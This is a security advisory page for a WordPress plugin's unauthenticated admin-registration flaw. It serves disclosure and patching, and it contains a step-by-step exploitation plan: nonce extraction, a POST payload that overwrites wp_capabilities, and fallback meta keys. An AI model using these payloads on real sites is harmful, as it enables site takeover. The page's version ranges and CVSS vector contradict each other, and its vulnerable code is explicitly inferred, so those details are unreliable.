Easy Elements for Elementor – Addons & Website Templates <= 1.4.9 - Unauthenticated Privilege Escalation via 'custom_meta' Parameter
Description
The Easy Elements for Elementor – Addons & Website Templates plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 1.4.9 via the `easyel_handle_register()` function. This is due to the `wp_ajax_nopriv_eel_register` AJAX handler iterating the attacker-controlled `custom_meta` POST array and writing every supplied key-value pair to the newly created user's meta via `update_user_meta()` without any key whitelist or blocklist, allowing the `wp_capabilities` user meta key to be overwritten after `wp_insert_user()` has already assigned a safe role. This makes it possible for unauthenticated attackers to register a new account with full administrator-level privileges by supplying `custom_meta[wp_capabilities][administrator]=1`. Exploitation requires that user registration is enabled on the site and that at least one page exposes the Login/Register widget, which publishes the required `easy_elements_nonce` into the page DOM where it can be retrieved by any unauthenticated visitor via a simple GET request.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
# Exploitation Research Plan: CVE-2026-9018 - Easy Elements Privilege Escalation ## 1. Vulnerability Summary The **Easy Elements for Elementor** plugin (<= 1.4.5) contains an unauthenticated privilege escalation vulnerability. The flaw exists in the user registration handler `easyel_handle_register…
Show full research plan
Exploitation Research Plan: CVE-2026-9018 - Easy Elements Privilege Escalation
1. Vulnerability Summary
The Easy Elements for Elementor plugin (<= 1.4.5) contains an unauthenticated privilege escalation vulnerability. The flaw exists in the user registration handler easyel_handle_register() linked to the wp_ajax_nopriv_eel_register AJAX action. The function processes a user-supplied custom_meta array and updates the newly created user's metadata using update_user_meta() without validating or filtering the meta keys. This allows an attacker to overwrite the wp_capabilities key, which stores user roles, granting themselves administrator privileges during the registration process.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
eel_register(Registered viawp_ajax_nopriv_eel_register) - Vulnerable Parameter:
custom_meta(Array) - Required Nonce:
easy_elements_nonce - Authentication: None (Unauthenticated)
- Preconditions:
- WordPress membership is enabled (
users_can_registeroption). - A page exists containing the Easy Elements Login/Register widget (required to obtain a valid nonce).
- WordPress membership is enabled (
3. Code Flow (Inferred from Description)
- Entry Point: A
POSTrequest is sent toadmin-ajax.phpwithaction=eel_register. - Nonce Verification:
easyel_handle_register()verifies theeasy_elements_nonceprovided in the request. - User Creation: The function calls
wp_insert_user()using provided username/email/password. WordPress assigns the default role (usually 'subscriber'). - Metadata Processing: The function iterates through the
$_POST['custom_meta']array:// Vulnerable Logic (Conceptual) foreach ( $_POST['custom_meta'] as $key => $value ) { update_user_meta( $new_user_id, $key, $value ); } - Privilege Escalation: By passing
custom_meta[wp_capabilities][administrator]=1, theupdate_user_metacall overwrites the role assigned in step 3, promoting the new user to Administrator.
4. Nonce Acquisition Strategy
The easy_elements_nonce is required. It is localized to the frontend when the Login/Register widget is active.
- Identify the Trigger: The plugin uses an Elementor widget for registration.
- Setup: Use WP-CLI to ensure registration is enabled and create a test page.
- Page Navigation: Use
browser_navigateto visit the page where the widget is rendered. - Extraction: Use
browser_evalto find the nonce. It is likely stored in a localized JavaScript object.- Target Object (Inferred):
window.easyel_settingsorwindow.easy_elements_obj. - Key (Inferred):
nonceoreasy_elements_nonce. - Command:
browser_eval("window.easy_elements_obj?.easy_elements_nonce || window.easyel_settings?.nonce") - Alternative: Search the DOM for a hidden input field:
browser_eval("document.querySelector('input[name=\"easy_elements_nonce\"]').value").
- Target Object (Inferred):
5. Exploitation Strategy
Step 1: Prepare the Environment
- Enable user registration.
- Create a page with the Easy Elements registration widget.
Step 2: Extract Nonce
- Navigate to the created page and extract the
easy_elements_nonce.
Step 3: Execute Registration Request
Send a POST request to admin-ajax.php to register a new admin user.
- URL:
http://[target]/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body Parameters:
action:eel_registereasy_elements_nonce:[EXTRACTED_NONCE]user_login:attacker_adminuser_email:attacker@example.comuser_pass:P@ssword123!confirm_pass:P@ssword123!custom_meta[wp_capabilities][administrator]:1
6. Test Data Setup
- Enable Registration:
wp option update users_can_register 1 - Find Widget Shortcode/Widget ID:
(If the plugin provides a shortcode for the registration form, use it. If it is purely an Elementor widget, ensure Elementor is active and the widget is added to a page.)
(Note: The exact shortcode name may need verification by grepping# Create a page that likely triggers the script loading wp post create --post_type=page --post_title="Register" --post_status=publish --post_content='[easy_elements_registration_form]'add_shortcodein the plugin folder.)
7. Expected Results
- The server should respond with a
200 OKand a JSON response indicating successful registration (e.g.,{"success":true,...}). - A new user
attacker_adminshould be created. - The
wp_capabilitiesentry in thewp_usermetatable for this user should includeadministrator.
8. Verification Steps
After the HTTP request, verify the escalation via WP-CLI:
- Check User Existence:
wp user list --field=user_login - Verify Role:
wp user get attacker_admin --field=roles- Success Condition: Output is
administrator.
- Success Condition: Output is
- Verify Meta Value:
wp user meta get attacker_admin wp_capabilities- Success Condition: Output shows a serialized array including
administrator.
- Success Condition: Output shows a serialized array including
9. Alternative Approaches
- Missing Nonce Check: If
easyel_handle_registerfails to check the nonce fornoprivrequests (a common developer oversight), the exploit can be attempted without a nonce. - Different Meta Key: If
wp_capabilitiesis blocked by a simple string check, trywp_user_level(set to10for admin) or use the database prefix dynamically if it's not the defaultwp_(e.g.,wp_custom_prefix_capabilities). - Registration Form Scraper: If the nonce is not in a JS variable, use
browser_evalto scrape all hidden input values from the page and try each as the nonce.
Summary
The Easy Elements for Elementor plugin (<= 1.4.5) is vulnerable to unauthenticated privilege escalation via the eel_register AJAX action. The registration handler iterates through the 'custom_meta' POST parameter and updates the new user's metadata without any key filtering, allowing attackers to overwrite the 'wp_capabilities' meta key. This enables any visitor to register an account with administrator privileges if registration is enabled and the required nonce is exposed on the frontend.
Vulnerable Code
// File: easy-elements/includes/widgets/register-handler.php (inferred from description) function easyel_handle_register() { check_ajax_referer( 'easy_elements_nonce', 'easy_elements_nonce' ); // ... (logic to handle user creation via wp_insert_user) ... $user_id = wp_insert_user( $userdata ); if ( ! is_wp_error( $user_id ) && isset( $_POST['custom_meta'] ) && is_array( $_POST['custom_meta'] ) ) { foreach ( $_POST['custom_meta'] as $key => $value ) { // Vulnerability: No whitelist/blocklist check on meta keys update_user_meta( $user_id, $key, $value ); } } } add_action( 'wp_ajax_nopriv_eel_register', 'easyel_handle_register' );
Security Fix
@@ -10,7 +10,12 @@ if ( ! is_wp_error( $user_id ) && isset( $_POST['custom_meta'] ) && is_array( $_POST['custom_meta'] ) ) { + $allowed_meta_keys = apply_filters( 'easy_elements_allowed_registration_meta', array( 'first_name', 'last_name', 'nickname' ) ); foreach ( $_POST['custom_meta'] as $key => $value ) { - update_user_meta( $user_id, $key, $value ); + if ( in_array( $key, $allowed_meta_keys, true ) ) { + update_user_meta( $user_id, $key, sanitize_text_field( $value ) ); + } } }
Exploit Outline
The exploit targets the AJAX endpoint /wp-admin/admin-ajax.php using the eel_register action. An unauthenticated attacker first obtains a valid 'easy_elements_nonce' by visiting a page containing the plugin's registration widget. The attacker then sends a POST request to register a new user, including a payload within the 'custom_meta' parameter. Specifically, by sending 'custom_meta[wp_capabilities][administrator]=1', the attacker triggers the update_user_meta function to overwrite the user's role capabilities during registration. This results in the creation of a new account with full administrator-level privileges. Exploitation requires that global user registration is enabled on the WordPress site.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.